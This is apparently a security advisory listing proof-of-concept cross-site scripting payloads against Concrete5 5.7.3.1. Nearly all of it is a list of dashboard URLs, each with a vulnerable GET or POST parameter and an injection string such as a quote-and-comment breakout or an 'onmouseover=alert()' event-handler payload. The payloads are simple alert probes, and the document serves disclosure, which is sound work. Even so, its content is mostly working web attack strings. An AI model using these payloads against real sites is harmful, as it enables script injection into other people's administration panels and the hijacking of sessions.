Proof of Concept URLs for XSS in Concrete5: URL: /concrete5.7.3.1/index.php/dashboard/system/conversations/bannedwords/success Parameter Name: banned_word%5b%5d Parameter Type: POST Attack Pattern: '"--> URL: /concrete5.7.3.1/index.php/dashboard/reports/logs/view?keywords=&level=&channel='"-->&level[]=600 Parameter Name: channel Parameter Type: GET Attack Pattern: '"--> URL: /concrete5.7.3.1/index.php/tools/required/permissions/access_entity?peID=1&pdID=3&accessType='"--> Parameter Name: accessType Parameter Type: GET Attack Pattern: '"--> URL: /concrete5.7.3.1/index.php/dashboard/system/multilingual/setup/load_icon Parameter Name: msCountry Parameter Type: POST Attack Pattern: '"--> URL: /concrete5.7.3.1/index.php/tools/required/permissions/access_entity?accessType='"-->&pkCategoryHandle=block_type Parameter Name: accessType Parameter Type: GET Attack Pattern: '"--> URL: /concrete5.7.3.1/index.php/ccm/system/dialogs/area/design/submit?ccm_token=1423928022:7f9b7c3cb0f6721bab4a0dec86cefaa3&cID=1&arHandle='"--> Parameter Name: arHandle Parameter Type: GET Attack Pattern: '"--> URL: /concrete5.7.3.1/index.php/dashboard/pages/single Parameter Name: pageURL: Parameter Type: POST Attack Pattern: '"--> URL: /concrete5.7.3.1/index.php/ccm/system/dialogs/area/design?arHandle='"-->&cID=1 Parameter Name: arHandle Parameter Type: GET Attack Pattern: '"--> URL: /concrete5.7.3.1/index.php/dashboard/system/seo/searchindex/updated Parameter Name: SEARCH_INDEX_AREA_METHOD Parameter Type: POST Attack Pattern: '" onmouseover= alert(0x00047E) URL: /concrete5.7.3.1/index.php/dashboard/system/optimization/jobs/job_scheduled Parameter Name: unit Parameter Type: POST Attack Pattern: '" onmouseover= alert(0x000C5A) URL: /concrete5.7.3.1/index.php/dashboard/system/registration/open/1 Parameter Name: register_notification_email Parameter Type: POST Attack Pattern: '" onmouseover= alert(0x0000DE) URL: /concrete5.7.3.1/index.php/dashboard/extend/connect/"onmouseover="alert(0x00170E) Parameter Name: URI-BASED Parameter Type: Full URL: Attack Pattern: /"onmouseover="alert(0x00170E)

Concrete CMS: Multiple XSS Vulnerabilities in Concrete5 5.7.3.1